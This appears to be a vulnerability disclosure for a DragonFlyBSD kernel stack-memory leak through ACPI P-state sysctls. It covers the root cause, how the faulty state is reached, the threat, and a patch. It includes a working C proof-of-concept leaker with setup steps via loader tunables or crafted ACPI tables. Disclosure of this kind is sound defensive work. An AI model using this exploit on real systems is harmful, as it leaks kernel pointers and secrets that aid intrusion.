• File: sys/dev/acpica/acpi_cpu_pstate.c
• Lines: 1255, 1261, 1265, 1271, 1277, 1281
• Severity: Medium
• CVSS: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L
• CWE: CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
• Confidence: certain

Summary

acpi_pst_sysctl_freqs_bin() and acpi_pst_sysctl_power() compute cnt = scount - sstart as a signed int with no guard for scount < sstart. When the kernel is driven into the inconsistent state acpi_pstate_count < acpi_pstate_start (reachable via conflicting root loader tunables, crafted ACPI tables, or a specific BIOS Notify(0x80) sequence), cnt goes negative.

The expression cnt * sizeof(freqs[0]) promotes the negative int to size_t, producing a near-2^64 length passed to sysctl_handle_opaque(), which copies uninitialized kernel stack data (past the 128-byte freqs[] / power[] VLA) to any unprivileged user reading the world-readable hw.acpi.cpu.px_dom*.avail or .power sysctl.

Root cause

acpi_pst_sysctl_freqs_bin() at sys/dev/acpica/acpi_cpu_pstate.c:1255 declares uint32_t freqs[ACPI_NPSTATE_MAX] (128 bytes) uninitialized on the stack.

Line 1261: int cnt = scount - sstart; (signed).

Lines 1262–1263 loop is skipped when cnt < 0 (no fill).

Line 1265: sysctl_handle_opaque(oidp, freqs, cnt * sizeof(freqs[0]), req) — cnt * sizeof(...) is int * size_t → size_t; -1 becomes 0xFFFFFFFFFFFFFFFF, multiplied by 4 wraps to 0xFFFFFFFFFFFFFFFC.

Same pattern at lines 1271–1281 in acpi_pst_sysctl_power().

The huge length reaches sysctl_old_user() (sys/kern/kern_sysctl.c:1332-1338), which clamps i = min(l, req->oldlen - req->oldidx) to the user-supplied buffer size (typically up to several KB) and calls copyout(p=freqs, user_buf, i), reading i bytes starting at the 128-byte stack array.

Preconditions for scount < sstart

1. acpi_cpu_pstate.c:669-682 sets sstart = acpi_pst_ppc from loader tunable hw.acpi.cpu.pst.ppc with only the check acpi_pst_ppc < acpi_npstates (no check vs acpi_pstate_count).
2. acpi_cpu_pstate.c:715-728 sets scount = acpi_pst_pdl + 1 from loader tunable hw.acpi.cpu.pst.pdl with only the check acpi_pst_pdl < acpi_npstates (no check vs acpi_pstate_start).

Cross-state validation is absent.

Additionally acpi_pst_eval_pdl() at line 1624 only updates scount when _PDL value >= acpi_pstate_start, so a 3-step BIOS notify sequence (rejected _PPC resets acpi_pstate_start to 0; _PDL drops acpi_pstate_count to 1; new _PPC ratchets acpi_pstate_start above acpi_pstate_count) in acpi_pst_notify() lines 1668–1685 leaves the kernel permanently in the leaky state.

Threat

Primary scenario: a malicious VM host (or compromised firmware, or user with root loader-tunable access) puts the DragonFlyBSD guest/host into the inconsistent P-state state at boot. Then ANY unprivileged local user (PR:L) reads sysctl hw.acpi.cpu.px_dom0.avail (or .power) with a multi-KB user buffer and receives a dump of uninitialized kernel stack contents (return addresses, function pointers, possibly credential/key material) — defeating KASLR and seeding further exploitation.

Secondary scenario: a DragonFlyBSD administrator sets the documented hw.acpi.cpu.pst.ppc / hw.acpi.cpu.pst.pdl loader tunables to override broken BIOS values, with pdl < ppc — the bug then affects every local user on the system.

Tertiary impact: if copyout() reaches an unmapped kernel page (depending on stack/heap layout), it can panic the kernel (A:L DoS).

Reach: reachable from any local account via sysctl(2); no special groups, capabilities, or devices required; the read sysctl is CTLFLAG_RD with no privilege gate.

Exploit / PoC

/* leaker.c — compile: cc -O2 -o leaker leaker.c
 * Run on a guest/host where the kernel has been placed into
 * bad state (acpi_pstate_count < acpi_pstate_start). Two ways to set up:
 *   (a) loader tunables (root at boot): in /boot/loader.conf add
 *         hw.acpi.cpu.pst.ppc="2"
 *         hw.acpi.cpu.pst.pdl="0"
 *       then reboot. After attach, acpi_pstate_start=2, acpi_pstate_count=1.
 *   (b) malicious ACPI table (VM host): provide SSDT with a _PSS of 4
 *       entries, _PPC returning 2, _PDL returning 0; or send the 3-notify
 *       sequence described in root_cause. Then any local user can trigger.
 * Trigger (unprivileged user):
 */
#include <sys/types.h>
#include <sys/sysctl.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
int main(void){
    const char *name = "hw.acpi.cpu.px_dom0.avail"; // or .power
    uint8_t buf[4096];
    size_t len = sizeof(buf);
    if (sysctlbyname(name, buf, &len, NULL, 0) < 0) {
        if (errno == ENOMEM) {
            // expected: copyout returns ENOMEM after leaking 'len' bytes
            // because i < l after clamp
            printf("leak attempt: %zu bytes returned (errno ENOMEM expected)\n", len);
        } else {
            perror("sysctl"); return 1;
        }
    } else {
        printf("read %zu bytes\n", len);
    }
    // buf now contains raw kernel stack past the 128-byte freqs[] array.
    // Look for kernel pointers (high bytes 0xff/0xffff on amd64), return
    // addresses, leaked structures — variance across runs confirms stack leak.
    for (size_t i = 128; i < len; i += 16) {
        printf("%04zx: %02x%02x%02x%02x %02x%02x%02x%02x\n",
            i, buf[i],buf[i+1],buf[i+2],buf[i+3],
            buf[i+4],buf[i+5],buf[i+6],buf[i+7]);
    }
    return 0;
}

Success criteria: bytes 128..len-1 of buf contain non-zero, non-deterministic data that varies across runs and contains kernel pointer-shaped 8-byte values (KASLR leak) or stack frame contents. Running 3 times and diffing the dumps confirms uninitialized-stack leak.

Compare to a baseline run on a system with consistent acpi_pstate_start < acpi_pstate_count (only first 128 bytes = freq table, rest zero).

Recommended fix

Defensively clamp cnt to be non-negative before computing the copy length, and add the invariant check in the tunable/eval paths so the bad state cannot be entered in the first place.

Minimal fix to close the leak in the readers:

--- a/sys/dev/acpica/acpi_cpu_pstate.c
+++ b/sys/dev/acpica/acpi_cpu_pstate.c
@@ -1255,11 +1255,16 @@ acpi_pst_sysctl_freqs_bin(SYSCTL_HANDLER_ARGS)
    sstart = acpi_pstate_start;
    scount = acpi_pstate_count;

-   cnt = scount - sstart;
-   for (i = 0; i < cnt; ++i)
+   if (sstart < 0 || scount <= sstart || scount > acpi_npstates)
+       return 0;
+   cnt = scount - sstart;
+   for (i = 0; i < cnt; ++i) {
+       KKASSERT(sstart + i < acpi_npstates);
        freqs[i] = acpi_pstates[sstart + i].st_freq;
+   }

    return sysctl_handle_opaque(oidp, freqs, cnt * sizeof(freqs[0]), req);
 }
@@ -1271,11 +276,16 @@ acpi_pst_sysctl_power(SYSCTL_HANDLER_ARGS)
    sstart = acpi_pstate_start;
    scount = acpi_pstate_count;

-   cnt = scount - sstart;
-   for (i = 0; i < cnt; ++i)
+   if (sstart < 0 || scount <= sstart || scount > acpi_npstates)
+       return 0;
+   cnt = scount - sstart;
+   for (i = 0; i < cnt; ++i) {
+       KKASSERT(sstart + i < acpi_npstates);
        power[i] = acpi_pstates[sstart + i].st_power;
+   }

    return sysctl_handle_opaque(oidp, power, cnt * sizeof(power[0]), req);
 }

Recommended companion fix to prevent the bad state from ever being entered (loader-tunable path and notify path should cross-validate, mirroring the >= acpi_pstate_start guard already present in acpi_pst_eval_pdl at line 1624):

@@ -715,8 +720,12 @@ acpi_pst_attach(...)
    if (acpi_pst_pdl >= 0) {
        if (acpi_pst_pdl < acpi_npstates) {
+           if (acpi_pst_pdl < acpi_pstate_start) {
+               device_printf(dev, "_PDL override %d < _PPC %d, ignore\n",
+                   acpi_pst_pdl, acpi_pstate_start);
+           } else {
                scount = acpi_pst_pdl + 1;
                goto proc_pdl;
+           }
        } else {

If only one fix can be applied, apply the reader clamp — it permanently closes the info-leak primitive regardless of how the bad state arose.